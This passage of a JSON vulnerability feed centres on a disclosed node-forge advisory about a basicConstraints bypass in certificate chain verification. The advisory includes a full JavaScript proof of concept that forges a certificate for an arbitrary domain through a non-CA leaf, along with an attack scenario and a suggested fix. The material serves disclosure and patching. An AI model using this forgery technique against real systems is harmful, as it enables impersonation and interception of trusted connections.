will accept as valid. Version 1.4.0 patches the issue.","status":"published","published":"2026-03-27T20:50:03.418Z","modified":"2026-10-28T02:30:26.461025733Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-295"],"updated_at":"2026-11-02T15:45:01.896044Z"},{"id":"GHSA-2328-f5f3-gj25","title":"Forge has a basicConstraints bypass in its certificate chain verification (RFC 5280 violation)","description":"## Summary\n\n`pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid.\n\n## Technical Details\n\nIn `lib/x509.js`, the `verifyCertificateChain()` function (around lines 3147-3199) has two conditional checks for CA authorization:\n\n1. The `keyUsage` check (which includes a sub-check requiring `basicConstraints` to be present) is gated on `keyUsageExt !== null`\n2. The `basicConstraints.cA` check is gated on `bcExt !== null`\n\nWhen a certificate has **neither** extension, both checks are skipped entirely. The certificate passes all CA validation and is accepted as a valid intermediate CA.\n\n**RFC 5280 Section 6.1.4 step (k) requires:**\n\u003e \"If certificate i is a version 3 certificate, verify that the basicConstraints extension is present and that cA is set to TRUE.\"\n\nThe absence of `basicConstraints` should result in rejection, not acceptance.\n\n## Proof of Concept\n\n```javascript\nconst forge = require('node-forge');\nconst pki = forge.pki;\n\nfunction generateKeyPair() {\n  return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });\n}\n\nconsole.log('=== node-forge basicConstraints Bypass PoC ===\\n');\n\n// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true)\nconst rootKeys = generateKeyPair();\nconst rootCert = pki.createCertificate();\nrootCert.publicKey = rootKeys.publicKey;\nrootCert.serialNumber = '01';\nrootCert.validity.notBefore = new Date();\nrootCert.validity.notAfter = new Date();\nrootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);\n\nconst rootAttrs = [\n  { name: 'commonName', value: 'Legitimate Root CA' },\n  { name: 'organizationName', value: 'PoC Security Test' }\n];\nrootCert.setSubject(rootAttrs);\nrootCert.setIssuer(rootAttrs);\nrootCert.setExtensions([\n  { name: 'basicConstraints', cA: true, critical: true },\n  { name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true }\n]);\nrootCert.sign(rootKeys.privateKey, forge.md.sha256.create());\n\n// 2. Create a \"leaf\" certificate signed by root — NO basicConstraints, NO keyUsage\n//    This certificate should NOT be allowed to sign other certificates\nconst leafKeys = generateKeyPair();\nconst leafCert = pki.createCertificate();\nleafCert.publicKey = leafKeys.publicKey;\nleafCert.serialNumber = '02';\nleafCert.validity.notBefore = new Date();\nleafCert.validity.notAfter = new Date();\nleafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);\n\nconst leafAttrs = [\n  { name: 'commonName', value: 'Non-CA Leaf Certificate' },\n  { name: 'organizationName', value: 'PoC Security Test' }\n];\nleafCert.setSubject(leafAttrs);\nleafCert.setIssuer(rootAttrs);\n// NO basicConstraints extension — NO keyUsage extension\nleafCert.sign(rootKeys.privateKey, forge.md.sha256.create());\n\n// 3. Create a \"victim\" certificate signed by the leaf\n//    This simulates an attacker using a non-CA cert to forge certificates\nconst victimKeys = generateKeyPair();\nconst victimCert = pki.createCertificate();\nvictimCert.publicKey = victimKeys.publicKey;\nvictimCert.serialNumber = '03';\nvictimCert.validity.notBefore = new Date();\nvictimCert.validity.notAfter = new Date();\nvictimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);\n\nconst victimAttrs = [\n  { name: 'commonName', value: 'victim.example.com' },\n  { name: 'organizationName', value: 'Victim Corp' }\n];\nvictimCert.setSubject(victimAttrs);\nvictimCert.setIssuer(leafAttrs);\nvictimCert.sign(leafKeys.privateKey, forge.md.sha256.create());\n\n// 4. Verify the chain: root -\u003e leaf -\u003e victim\nconst caStore = pki.createCaStore([rootCert]);\n\ntry {\n  const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]);\n  console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result);\n  console.log('  node-forge accepted a non-CA certificate as an intermediate CA!');\n  console.log('  This violates RFC 5280 Section 6.1.4.');\n} catch (e) {\n  console.log('[SECURE] Chain verification FAILED (expected): ' + e.message);\n}\n```\n\n**Results:**\n- Certificate with NO extensions: **ACCEPTED as CA** (vulnerable — violates RFC 5280)\n- Certificate with `basicConstraints.cA=false`: correctly rejected\n- Certificate with `keyUsage` (no `keyCertSign`): correctly rejected\n- Proper intermediate CA (control): correctly accepted\n\n## Attack Scenario\n\nAn attacker who obtains any valid leaf certificate (e.g., a regular TLS certificate for `attacker.com`) that lacks `basicConstraints` and `keyUsage` extensions can use it to sign certificates for ANY domain. Any application using node-forge's `verifyCertificateChain()` will accept the forged chain.\n\nThis affects applications using node-forge for:\n- Custom PKI / certificate pinning implementations\n- S/MIME / PKCS#7 signature verification\n- IoT device certificate validation\n- Any non-native-TLS certificate chain verification\n\n## CVE Precedent\n\nThis is the same vulnerability class as:\n- **CVE-2014-0092** (GnuTLS) — certificate verification bypass\n- **CVE-2015-1793** (OpenSSL) — alternative chain verification bypass\n- **CVE-2020-0601** (Windows CryptoAPI) — crafted certificate acceptance\n\n## Not a Duplicate\n\nThis is distinct from:\n- CVE-2025-12816 (ASN.1 parser desynchronization — different code path)\n- CVE-2025-66030/66031 (DoS and integer overflow — different issue class)\n- GitHub issue #1049 (null subject/issuer — different malformation)\n\n## Suggested Fix\n\nAdd an explicit check for absent `basicConstraints` on non-leaf certificates:\n\n```javascript\n// After the keyUsage check block, BEFORE the cA check:\nif(error === null \u0026\u0026 bcExt === null) {\n  error = {\n    message: 'Certificate is missing basicConstraints extension and cannot be used as a CA.',\n    error: pki.certificateError.bad_certificate\n  };\n}\n```\n\n## Disclosure Timeline\n\n- 2026-03-10: Report submitted via GitHub Security Advisory\n- 2026-06-08: 90-day coordinated disclosure deadline\n\n## Credits\n\nDiscovered and reported by Doruk Tan Ozturk ([@peaktwilight](https://github.com/peaktwilight)) — [doruk.ch](https://doruk.ch)","status":"published","published":"2026-03-26T22:05:43Z","modified":"2026-09-10T03:50:36.185660437Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-295"],"updated_at":"2026-11-02T15:46:33.520522Z"},{"id":"RHSA-2026:24761","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update","status":"published","published":"2026-06-10T10:07:59Z","modified":"2026-10-20T10:06:29Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:19.449341Z"},{"id":"UBUNTU-CVE-2026-33896","description":"Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, `pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid. Version 1.4.0 patches the issue.","status":"published","published":"2026-03-27T21:17:00Z","modified":"2026-06-30T18:17:57.052383666Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"},{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"},{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"updated_at":"2026-11-02T16:56:16.036833Z"},{"id":"CLSA-2026-1775176134","title":"TuxCare security update for node-forge (4 CVEs)","description":"TuxCare rebuilt node-forge to address 4 CVEs. Fixed in 0.10.0-tuxcare.6.","status":"published","published":"2026-08-04T14:52:20Z","modified":"2026-10-15T09:45:42.91027174Z","updated_at":"2026-11-02T15:43:44.009773Z"},{"id":"CLSA-2026-1791467333","title":"TuxCare security update for node-forge (3 CVEs)","description":"TuxCare rebuilt node-forge to address 3 CVEs. Fixed in 1.3.3-tuxcare.2.","status":"published","published":"2026-10-08T13:48:53Z","modified":"2026-10-15T09:47:39.669670729Z","updated_at":"2026-11-02T15:43:49.016976Z"}]}}
